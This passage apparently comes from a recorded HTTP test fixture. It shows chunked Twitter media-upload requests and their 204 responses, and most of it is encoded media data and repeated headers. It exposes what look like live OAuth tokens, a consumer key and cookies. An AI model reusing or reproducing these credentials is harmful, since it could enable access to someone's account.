oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"bim5zzZc2t84q%2B9ZHIw5FcEpz6I%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=L%2BrO1%2B%2FW3h%2F3%2BuvJ7Vhq7Vj7WP0Yr9detS%2BsVXN%2FBH4T%2BLLptr5fCfgn8J%2F8UqX1iq6tcvj6te5FV%2FhlWd%2FrFfN%2Bsv1qTJWK1v9%2Fqz89YyT2v1Hlyhp9eexMjpP%2Bz19kp4yS%2BJWu8UTeku%2FP7GVfa93V1qvVVJqrfq1eiRS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174mSJXqubiV6v7k%2Bsm6WvXupemv5l6rkurktEaS5KfuuVF7vtX7kL%2F%2FVr369fq0l364V6wSeIo4w19mNtfr4H%2Fxyq7lv1YksFBJZNbMlOKrpP1asCXXr3d3N8%3D&media_id=1254206535166763008&segment_index=37" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:14 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:14 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_tpMUx5\/RAV51Bx59IdY\/gw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:14 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113496693119; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:14 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "8bf9af9b89a23d85eea3c29445ce071f", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19915", + "x-rate-limit-reset": "1587864356", + "x-response-time": "37", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00bd7956002507fa", + "x-tsa-request-body-time": "96", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"H53XamprFVR96a%2FINJAQajhT1Pk%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=4ZLLy8s1hOnXq1uvdnftHODua0Tu69Wnx%2F7XpPXou%2B%2FzEm%2FJ8f8pP7%2FEWWb5PP5yr%2BDspk%2FzYi4i%2B57lv8EOe95f%2FXvE%2FCOvRWlv89jNtr3aEZV7Ln9X%2BryXfkImfd33XmF4yIXF%2BpWmXv%2BhEEvk3ftWu1Z2hZGQfo25J4I8noqq1xl3%2BrS%2Bixd9%2BmtS7lFO%2F8vQQ9KVyej67mXuGS8nf7NM%2B7L%2F4jLZO2Rn6wXV%2Buq9e%2BaT1i%2FX1XLct9yP3ryiHfL4Iyq15VavJ6LqvXpcrk3kv8mVLUunXho8ogL6xV0%2FJ6HVLRNDom1%2BrfrBWXrJGCYpfr19q9wrJ66lgAAAAf1BmkCQKgV%2FoXlPc3EK9aE%2FGf5fX%2F%2FnVOl69eCz%2Brj%2FAt1aud1fasSc181dKZpfVpOf5Vetlq6n6ly76vbV7te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F89PJ92vV6tUv564ma4MaXvw2TJ%2FfxOlborqu7ocpc76VqFEpbu17q617lm4lYrtWO%2BxNkgbySQN6vXv2JIWXYNHfauDItbrRWLrVIAjJiPWCvQjKn61Zj5cpXkpbyfr6%2F6%2FLxh%2BnXu%2Br06HL1V9qW8JatXO%2B63Xpb7r16I5Va%2FqXlXviV6W5L7UoonluQmi%2Fb%2BQhIfS%2FLd9yei1V0K4Qv8vLCIuS1sdS13d1cl1a4d%2FrXurHzT%2BFqJAbMdBUPlLdTlQv4i4q1b9fXVJ69XrV%2BCQlOWOVeaT%2F6LqXwsTLjx0uMtrjY71v%2FXlmGUbBnIJvRe8uT1i5ZuaXxZC%2FjY0dYOBn%2BCcmwMZsH3Kk6y%2F3%2F6EuKnz1%2BMpj%2FMTm%2Fwj5NMlv%2BOHWgO3%2By4cvJ%2BzctP0WLb8t%2FrUX69J6Jlk9V3wT0CWkrLbV5CshmnXmIPxOQmbOK5f%2FlV%2B3bJD3%2BbEK%2BrrwzoZaRL45CqS4f3qXrynTdjnnriK9e%2FVpyfv%2BMFMRfwgzlu5WOEzlLWvZZDZDQ%2B8CNr0bE33jnvV%2FfeTy7XryFbHInR7BD6pObfq6uJtcv0Xr9ev1avWK7IayMnTu8FcV%2Bf7y9z54O%2Bwne%2B29e%2FLRprBMXd8tLDfZjNz%2Fu7OVZrboD%2FYY81GCml%2Bp%2BQfOMHDUz7LJK%2FJbRevtW7%2FXpfVnrXq2q%2FsxuOkTfYal%2FWH0u7%2FsvHzGl9fnruWP0%2BUpWEVvaNrsEhM%2F6yefVWUu5YK%2BwkfnstCmPV4k1jhx0IVbsPen0Vxus4mT16TiLvsEIl32NevfffffYTFa2SK%2FbPRX2Q3N9996etP9mjZonOMHZdJ9viqsNwtQF7ITQtrGaCpDGYdvE%2F%2FXnj0%3D&media_id=1254206535166763008&segment_index=38" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:15 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:15 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_v3OssqeHwG9jy9hbFiD3aw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:15 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113560974517; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:15 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "581857da964c7c95c997af1b298c5f7c", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19914", + "x-rate-limit-reset": "1587864356", + "x-response-time": "28", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00ae1517009a6253", + "x-tsa-request-body-time": "77", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"tCBERbELTX4OGhSIJttjsmSs%2BTg%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=61332uN3u%2BMnkvvsEcxstF2FOpMtOT29TasnNLvsUW7u7v2WUxCqgPlWxRCsT%2BNoO9qWCQbd6VbRiP%2FISVFHJzYig3w8zqZl4wWT2Tk%2BTx%2F%2B2fUqS2jCBJobLqOeErHP27v1RP3y3L%2BhMUkL3fqYU7%2Bwxxz28Op52sMW4uV%2Fs9fsTyw2W7%2BwyV7Vfw93fZ33t1BCU%2BB%2BTT4tb4Xmyt7trpm%2F0Ovff4Is0H6rXVuQRjZB16OYtt%2FrTvv0WvxYjiuk%2F6P13L6kar77IIqz7EFm%2FdPsmmvZab%2B%2B%2B%2FwvJDIkm78GPhlvUTYVT7N5fsXY9EqjknV%2Fsmk%2FyXv6rqW16tTH3R1K%2F6vdq5Q6UQ%2BLtYruTVWVfr333upfW5VryVKnSrrJ%2B%2F4ZO76zbb9eCEdeej%2BoJJqd93rFz6vsVEl%2FRFa%2FV36titfr1X%2BtT5Pfd8TJVfIuX5N3tr%2BAAAAClUGaQxDKBX33doT36933d1axTevzq9taumX3fd2rlWsX6xfrFLy3y1xFWvVa%2FO%2B6v9WJfBJjQ6fVX38XilderkR6sfrV%2FEepbvJ8%2Fak02bSs%2FWXtf7DdG%2BykxzZ%2F1l6h%2FsyhAEJHC4f3u7HxtveUUxkFf62HwRSsXuqr4ivWpvXp%2F%2Bl8rlm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2kvtcO%2FdHYfBGZ32O6urKRDiFjuvBJg%2FYuySk0%2FViCPt249H2%2BSXDgABa5P3%2FJjVj72%2F%2BcqhvteP%2Fw2JNPay%2FpF0Unr8m9%2B61y99lFI8mb777PVu2Nid%2Fd333Xmk%2Frk%2Flu%2Byl0Zy%2B3T096X%2BXuvMXd9rlzE%2Fq%2FyXP3V%2B9akFPTk9HYPySS%2FwX7Yz9mburDBBoUk%2F%2FaJ47Dk2cqcdfKoIn35xLklt%2Fv0TLdvvcuvFkVqjuTP5Du%2FshZMvten6Xrj6vb%2F4TFVfdIxHdXu8hcsK9Ux%2BGiPuvsw7F38l%2Fk400NLq9vnqXdPzP6R0k%2FouVM%2B1yKuV5fuhD%2BX2evoJs%2B%2B%2Fz1%2BhJm36u%2BmV7xHuQlver9%2BXl931ZKN0pPz%2F%2Ffd1aEuFzUKz4qlbz5sQq9YqSX1s1%2BryClfhDJuQlm792ZJP%2BW78AAAhtQZpFkWoFcnFdF3UhPX69VU2111axV69VXfMb%2F%2Bsb475O1i4Jeiu64ru7u6tTJNkm8Ie9b0ev4PzXKvfgklHnYJA8ve7Vvi17FeO3OCulMna9VCdBLsPt%2BSsv1%2BuXzVoRV1cpf3vPX4371viMYe%2BQPman6yo8EstludAvuxvbSC8wzmhHn1tVOs1%2FX4ItxlvbhCyfdf%2Fh%2BzhwZrp0VIpffQqd20gfjRI%3D&media_id=1254206535166763008&segment_index=39" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:16 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:16 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_XFZqN0hLumLDGyS7QRh3jA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:16 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113624207302; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:16 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "11f90319f8e6ffa9b90c699b67ceaeb0", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19913", + "x-rate-limit-reset": "1587864356", + "x-response-time": "38", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00b5d028003c5e89", + "x-tsa-request-body-time": "66", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"3hAPCbV0ZqoOz6k3FLpOlUfkbH0%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=Z1HmD%2FkqPlff6v83V8V0Z3zE93asr16XVev1YviLy%2F0bL85mPl0u62%2Fa5xAuY1arv7bmkXfto%2Bvkr0TvCDu1dXr74n4T%2BarsUT%2BvROyXWvXZ6lwLZf9S3XfJy3eKJ%2BK%2FXqh35plzcuieSvdr3po506iDMfIn8Xcs8faP%2Bfv57pq9Hb9ekFdcytXrX61cjd9rLuua%2Bby%2FzGw4yziPa8vs3mv2%2FKoV%2BP1Xz1aOdK6VpLv1ZP6vJE6XPDhJMGVOcW3GUP5PlFrz9Taja%2F%2BT338Iz8EZeQ9syY9sxQy4d6kQQp56kM%2Bh5BeMMVXjLVFP9byeP5WM1Cf3d0DUNfZheYvbUFqPlTkgrssItXeDjNhCZNM44ZcDiWpFeJ9U6frFWq1XNfEdoSYFE%2FcvaFhDjhzagzZ6DfNSvpMjjL50vopW29Aq6mhcoYHZJ02baLDuN5d5I9JeOvtaXS%2FTHZfebjyktj2jGmcxZe7yev%2BIEXSQM5mD75b2Og7W4161lx8lwF5Pf1oRyNUk%2Bv%2FINNVn2EOMsuQ9luwg5CVlOEqBiYtPmYyWlu2JiwaCaQWEctvJ7d%2FXfgj8hFURUFdDokv6TEiO%2B5XuVFJe8n05Vdh%2FY72Ay0pDgPWvBR1tR0fXyfG64XMatirAd6c8GYEL%2BXDF%2BOg8Bcr9zbh38nd2sdO%2BpmDiI%2BUtcU3wjX63tqJEm175c%2FBIV33yfrpOmFzQ9PL7uGBIKxk23wjwXTye2d7hMkQ%2BP8PJdD5YRtBWSo%2FjYwoD474%2F%2BT91o8s3IRGkHzy0DxylPgtPGPfCFnU0bAjLb2IxPpkpYMHalu4cyeTkFaDmp3P%2FEEdzwa%2FNLtU%2FSrBf14LIYI7bxojwrn1a6jI2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a7koorL8rPX0yKHTu3wv4h8viH%2Fa0bbJyjbB%2FOCOT48tow%2BSUZSMR8KiL8KR5c%2BTpvZMuDbRepIjNkXzUt5vd6ZKCYm6V360Xm4m8Rqvu9f2R90ny3Svs9f1SI1Aez19XY3U7Rcvrh%2BrRy36yy%2Fdeuw5aKarf1yffqvkkCHLnXyVi77l%2Bye%2F%2FVobB3k%2Bf%2F9EevV8n3%2Busv76618T9ZbovzAh925TsUKu7z5wAACJVBmkcRygV1aF9%2BvV6vd3c1qxXrXurfqRMv%2FfU69U8nq5fq5W6pk%2FXqur7WLur%2BWrXqyeFOtOsVMRnjr0vzTz4%3D&media_id=1254206535166763008&segment_index=40" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:16 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:16 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_B+U5CBri0wLopheYxCA+Qg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:16 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113689601206; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:16 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "bd4faddebcadd8a630c4157c84ff8462", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19912", + "x-rate-limit-reset": "1587864356", + "x-response-time": "38", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "0038f9c800bb6c95", + "x-tsa-request-body-time": "63", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"ygio3ywPYDgPQxoXkiEzieIks9o%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=fKjNo4CpcnuQuSp5wceSGp4SvpUMnovqFL3%2BsVS99%2FEr18q5VlrB2rH61L6tXr3OciqWfHNfJ%2BtP2Iw9i%2BsEv9%2BZAhox1rhnRgl8yJewzjQQNwJX6ufsk%2BNmTVHrEUg3PR9TGhwF%2F%2F8fbtDJc72UxG%2FcEdBjfN7H4b5bQTuR42%2B%2F6tF93d30ua7qmltWvlVy7rL76zimPjat31%2FXlyKOrsNibvW1Lf5M9fHJ2fV4ISDpc33GCGrR6u5vXLp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k7S90T7wWS34%2FTiP5S7ur72Vo8XfjPjdQn2vVqpao3jdSl1tkEXlpXeS2cxfp89n0GG32hZQQ13bnPceMpML%2BkV%2FV3f%2Bi92ve0vfq%2FBJrrTy%2BTsXQrsn2b%2BXJnTl5PL%2F9%2BOzd3%2BhLyYz%2Bry33VSvV1X2vjVYnyyfS%2F%2FWVesVbrVNMn9cAAALVUGaSRJKBXV9yVVV11V1oTFN613cCPxK133331dff%2FfeTw%2F64i7Wv1fplKkvrFd9X18i10h7mzEzX60j12gVed5VITGDO8CAgYJgnrj5cCUbwP4X9ftMJymLBwnVJxt33wKPfB7fovVqveTXr12sXL2sVeinuaDRkcqRNWZVK%2F1LglwCB%2BsB8MLVW336v906zhrZPyQ%2BmpTPS5mHrBgCPnKzsD%2FDpOWmfLn5IvQ9huOslrLiUpkbM%2B0A7Vjk2C6jZDlmWGjOQQk4Lpb09tGDqrl%2BuMXTymK3PhieYy3%2B319uGUVp9fhgT0I9%2ForFk9f%2FurXsnx%2F9%2Fr2O%2BX6sdStXq3c1S%2B%2FXu17tGi6zzpTFvDOc%2FJ4f5xCm0pr%2FfYaLpu8ppFX9YsS%2B%2Bf%2Fghy0fh9hWYVCbhgPxbo7GSiQE5dTeOkM9N7eMI4EtWdCClq5V92vUKJfgi%2Fr44JVbFbcv%2F6sS30T81etfq0TklGcay32hZ07ZHv3Vo7V0vfS9fyc0l%2FNJ69XMr%2FMvVzexHzWT5qvBgbVD2rB%2FZiWpqkr%2FRVieWhaLH08loS9H6778lSpcvf6935PRHff61d3RFX%2Br%2F9%2FnLbJ6P%2BigoEbMJu8lloMG98cuZEWKmeJNe7CQJ0eoZjKDsZgfSZ81oEwNb7qD%2BuP%2FR6sctiRX9rnfrFWJ1RFf8%2Fa97qxV%2Frl7nOz%2FGs7iMrDYrkgLG2zzQdv9SagwvveMEWCHuH6%2FaWoUmH4BpG4SfXM%3D&media_id=1254206535166763008&segment_index=41" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:17 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:17 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_eyevWj4PsKP3R1fBVeLFig==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:17 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113758739987; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:17 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "831f695e92e64890edbd097ebfd39f84", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19911", + "x-rate-limit-reset": "1587864356", + "x-response-time": "36", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00d83b29000e3a6e", + "x-tsa-request-body-time": "102", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"rsHro9kKYu8TQBquyGoG1%2BxSW30%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=ERDMU9ofQt6HJRUEgSwhROJHE3Bu8LTdn9TRnGX6JLUKGvVDroMBvuj9hvmtV13VcGdnbmYU0MJu8FYuFVkpaPb0gviuL3ZgH0yfc%2BFrCSksrmJFAepkwYufIcn23X9y7U1o%2FVRNerK9Xu1InTeIOiMbCtQuTDSZlxHVAZQ2wFRaCRgmbHep%2BT8Me%2FDe5RnPdMhEPUtvRjpVvnT%2B8jsFF77HAjXudEhppIaUOoVhOMt6%2FJsv0vPQkT1aJllzLcQw0N%2F3e5aDMGB5PPvEQqZEbSYpaA%2BxXH5014r9odr%2FxFg6kkDOkm3mEBr1BhHsiHvZegMlmN2vwi89fqDFAz5KSpDLJEzqC3G52A0TAbjT%2B09zRpbBO4PyQFW6cZOOn42pUO2D3nw5JzGZprpAj0Lj6iISgrH5IpBaXaXd4dTk1%2F4e9zjiF9w3XH3Td9q5eI9WX8QdJdC2CAyM0%2BaJaYRcpjoDfKMGiqiDpfWhFMu8QGTzvJw8S1HQexN3HXNwPZ6GVUZEbh8WuBhhH%2FYkn%2F2FvXwh%2BgS%2FrdPf%2BDgKx8FyS%2Bv6cjDgl7uo4faFzIf%2FRX9wQGXsnjfzD4Bne5kzRdMJWOsClukUysHPAKvUNqN0UnxjSjFQegh%2F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R7pL4weE39RxGev4%2Bl%2BMDBXieV9AZFH8V4KsUKdheKc7E%2FGZgwrhC1w%2Bi7naGA6Jbxx0TUdmE9Ug1HUztTrDnK8PqU%2FSy%2FPpJAoFrpXMKeUtNLOtc8voRlk%2B%2B%2F7PX0ZwnHB1Sfa%2FhOxnT%2BEuDoyn%2FSPXz2ZFrwSXffdyLsKKxRaG5WaO%2BxJLmLG6JrsIxymz93J7mPVjU3%2FmEZnlZ%2BTDXcf4g2UTnLzMNytSlw1p6F8pW7e1siEmbSMxmYr5Fwhel5O9Vu0JaXJXq1Xrd0LFY0vg0v3J4d25dkWnL%2F6%2FgvLlySg4qX35pjIzUDk9O999KYo2ygOdz%2BT9Tq6PKn3nSs79UTqf4cJbRH68NTi%2BtyCXvRffUkUIoMIWGZc3d%2FE%2F%2BCPkv3qOEzblizRXbdu30TL9et%2FhwpWKHXxGHxfYKyvfd2y0%2BLeuhUEsE6F933vFklXvP5VILJ%2Fb%2BQz2B9o%2FwSmfTOY5cc%3D&media_id=1254206535166763008&segment_index=42" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:18 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:18 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_6+Q4YpPWZXxDcwtJUivN+w==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:18 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113829532842; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:18 GMT; Path=\/; Domain=.twitter.com; Secure; 